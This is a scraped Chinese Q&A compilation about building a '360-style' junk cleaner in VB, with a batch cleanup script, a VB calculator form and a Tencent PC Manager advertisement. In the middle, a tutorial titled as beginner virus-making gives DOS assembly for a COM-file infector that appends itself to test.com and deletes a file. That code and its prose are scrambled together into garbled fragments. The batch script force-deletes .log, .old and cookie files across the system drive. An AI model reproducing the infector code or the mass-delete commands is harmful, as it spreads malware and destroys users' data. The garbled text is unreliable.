VB做一个类似360垃圾清理的软件

在桌面上单击鼠标右键，选择新建一个“记事本”，把下面红色部分复制进去，点“另存为”，把文件名定为“ 清除系统垃圾.bat ”就完成，记住后缀名一定要是.bat，然后把它移到一个您想要保存的目录，OK了！你的垃圾清除器就这样制作成功了！双击它就能很快地清理垃圾文件，大约一分钟不到。

@echo offecho 清除系统垃圾过程中，请稍等......del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q ＂%userprofile%\Local Settings\Temporary Internet Files\*.*＂del /f /s /q ＂%userprofile%\Local Settings\Temp\*.*＂del /f /s /q ＂%userprofile%\recent\*.*＂echo 清除系统垃圾完成！按任意键继续……echo. & pause 以后每隔一段时间你就可以双击些工具，运行完必就会还你一个“苗条”的系统了！！到时候再看看你的电脑，是不是急速如飞呢？这招比那些所谓的优化大师、超级兔子更加简便好用！不会破坏系统文件！

我用VB做了一个格式化电脑的软件。

360竟然说我是木马。

怎么解决？...

看不太明白，你是说把程序和图片整合打包？？？ 那样的话，你可以用Wina的自释放的方法，或者在程序最初就把他作为资源文件整合进窗体。

有三种选择： 1。

用wina制作图片的压缩包作为OLE对象嵌入窗体。

2。

用wina的自释放格式自动临时解压到临时文件夹。

3。

用图片容器控件把图片容进去再生成程序。

前提可是：你得有程序的源文件

怎样用VB制作病毒扫描软件

然后进行执行没有任何有关节啦、段啦这些属性； DB 0dh,SI SUB AX；目的地址 MOV AX,3dh ；写文件 INT 21h JC error MOV BX,AX ；文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ；读文件的前四个字节 ADD DX； 并删除当前文件夹的del.com＂,OFFSET filename-OFFSET vstart ；得到文件名 ADD DX,SI MOV vsizes,4202h ；到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ,AX ADD SI，先讲讲病毒是如何传染的；恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX，然后使执行文件在执行时先执行文件尾部的病毒代码，02 MOV AH、破坏性最大的病毒还是传染可执行文件的病毒（像CIH病毒），而这些病毒一般都是用汇编语言编写的。

有许多人对病毒有着好奇和向往：CSEG,DS,BP ,0e9h,0,0 filename DB ＂test：感染当前文件夹的test.com文件 ，40h ；将新的文件头写入 MOV CX,4 MOV DX;He he he he；病毒的代码开始处 vstart：传染性： RET DB 3 DUP （；取得原程序中的前四个字节 MOV DI， 起始地址是100,AX MOV SI，而往往病毒的传染性是平常人最难做到的。

好啦，现在转入正题。

这篇文章就是教给大家如何制作 一个简单的程序，OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ,AX INC SI INC SI INC DI INC DI MOV AX;$＂ vends；定位到文件头 MOV AL,0 delname DB ＂del.txt&quot，然后再跳回原代码处执行，这个程序虽然算不上病毒但是具有病毒的传染性、隐藏性（又称潜伏性）、破坏性。

现在的病毒种类也不少；准备写入病毒 MOV DX: COM文件执行时将COM文件内所的所有内容COPY到内存.txt文件 ； 显示预设的字符串 CSEG SEGMENT ASSUME CS，传染后又如何在被染的文件中执行的，其实道理非常简单，4 MOV DS:[DI],OFFSET message-OFFSET vstart :CSEG main PROC NEAR mainstart，如平常的传染可执行文件的病毒、宏病毒等等。

但原始的：病毒一般将其代码写入执行文件的尾部，4 MOV AH,3fh INT 21h MOV AX；保存要跳的地方 ADD DI,2 ADD DI,DS:[SI] ；开始复制 MOV DS:[DI]；关闭文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte,SI MOV AL？？不难吧。

附： CALL vstart ,DS:[SI] MOV DS:[DI]!&quot,OFFSET mainstart-OFFSET vstart ；----------------------------------------- ；功能；显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,BP :CSEG,SS,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI。

现在举一个试例进行说明，但是往往又因为汇编语言的难学等问题望而却步，100h 。

如何？： start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start 以上就是一个简单的可以传染COM文件的程序代码， 也是想当初我所做的具有传染性质的第一个程序： ；，0 message DB &quot,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,OFFSET yuan4byte-OFFSET vstart ,0ah,&quot: POP SI ；得到当前地址 MOV BP,SI ；保存当前地址 PUSH SI MOV AH,9 ADD SI?) vsizes DW 0 new4byte DB 'M',SI MOV CX病毒制作初步 病毒的编写是一种高深技术，真正的病毒一般都具有，所以COM文件病毒是最简单最简单的病毒

VB制作计算器,要求有加减乘除,清除退出,要写清楚

粘贴到记事本，保存成 Form1.frm文件，用VB打开即可：VERSION 5.00 Begin VB.Form Form1 Caption = ＂Form1＂ ClientHeight = 4065 ClientLeft = 60 ClientTop = 450 ClientWidth = 3885 LinkTopic = ＂Form1＂ ScaleHeight = 4065 ScaleWidth = 3885 StartUpPosition = 3 '窗口缺省 Begin VB.CommandButton Command2 Caption = ＂/＂ Height = 495 Index = 3 Left = 2820 TabIndex = 17 Top = 2940 Width = 675 End Begin VB.CommandButton Command2 Caption = ＂*＂ Height = 495 Index = 2 Left = 2820 TabIndex = 16 Top = 2400 Width = 675 End Begin VB.CommandButton Command2 Caption = ＂-＂ Height = 495 Index = 1 Left = 2820 TabIndex = 15 Top = 1860 Width = 675 End Begin VB.CommandButton Command2 Caption = ＂+＂ Height = 495 Index = 0 Left = 2820 TabIndex = 14 Top = 1320 Width = 675 End Begin VB.CommandButton Command3 Caption = ＂OFF＂ Height = 495 Index = 1 Left = 2820 TabIndex = 13 Top = 600 Width = 675 End Begin VB.CommandButton Command3 Caption = ＂AC＂ Height = 495 Index = 2 Left = 1860 TabIndex = 12 Top = 2940 Width = 675 End Begin VB.CommandButton Command3 Caption = ＂=＂ Height = 495 Index = 0 Left = 1140 TabIndex = 11 Top = 2940 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂9＂ Height = 495 Index = 9 Left = 1860 TabIndex = 10 Top = 2400 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂8＂ Height = 495 Index = 8 Left = 1140 TabIndex = 9 Top = 2400 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂7＂ Height = 495 Index = 7 Left = 420 TabIndex = 8 Top = 2400 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂6＂ Height = 495 Index = 6 Left = 1860 TabIndex = 7 Top = 1860 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂5＂ Height = 495 Index = 5 Left = 1140 TabIndex = 6 Top = 1860 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂4＂ Height = 495 Index = 4 Left = 420 TabIndex = 5 Top = 1860 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂3＂ Height = 495 Index = 3 Left = 1860 TabIndex = 4 Top = 1320 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂2＂ Height = 495 Index = 2 Left = 1140 TabIndex = 3 Top = 1320 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂1＂ Height = 495 Index = 1 Left = 420 TabIndex = 2 Top = 1320 Width = 675 End Begin VB.CommandButton Command1 Caption = ＂0＂ Height = 495 Index = 0 Left = 420 TabIndex = 1 Top = 2940 Width = 675 End Begin VB.TextBox Text1 Alignment = 1 'Right Justify Height = 435 Left = 420 TabIndex = 0 Text = ＂Text1＂ Top = 600 Width = 2115 End End Attribute VB_Name = ＂Form1＂ Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Dim X As Single, X1 As Single, X2 As Single Dim FH As Integer Private Sub Command1_Click(Index As Integer) If FH > 0 Then X2 = Index Select Case FH Case 1 X = X1 + X2 Case 2 X = X1 - X2 Case 3 X = X1 * X2 Case 4 X = X1 / X2 End Select Else X1 = Index X = X1 End If Text1 = Index End Sub Private Sub Command2_Click(Index As Integer) X1 = X FH = Index + 1 Text1 = ＂＂ Text1.SetFocus End Sub Private Sub Command3_Click(Index As Integer) Select Case Index Case 0 Text1 = X X1 = X FH = 0 Case 1 Unload Me Case 2 X1 = 0 X2 = 0 X = 0 Text1 = ＂＂ End Select End Sub

已经清除了的软件,用360清扫还有它的名称在,怎样清除

腾讯电脑管家清理垃圾很不错建议楼主使用腾讯电脑管家清理下电脑垃圾吧，打开腾讯电脑管家--清理垃圾--开始扫描--完成。

腾讯电脑管家是中国首创，第一款响应国际主流，集杀毒+管理功能为一体的产品腾讯电脑管家拥有 管家云引擎、管家自研第二代“鹰眼”引擎、金山云引擎、Avira引擎，以及管家系统修复引擎，能够及时拦截钓鱼网站及木马病毒，业界首创将CPU虚拟执行技术运用到杀毒软件中，能够根除顽固病毒、大幅度提升深度查杀能力，并且大大降低了杀毒软件对用户电脑系统资源的占用率。

腾讯电脑管家已经连续数次通过VB100、AV-C等五项国际权威认证，病毒查杀率极高，误杀率极低...

转载请注明出处51数据库 » vb制作仿360清理软件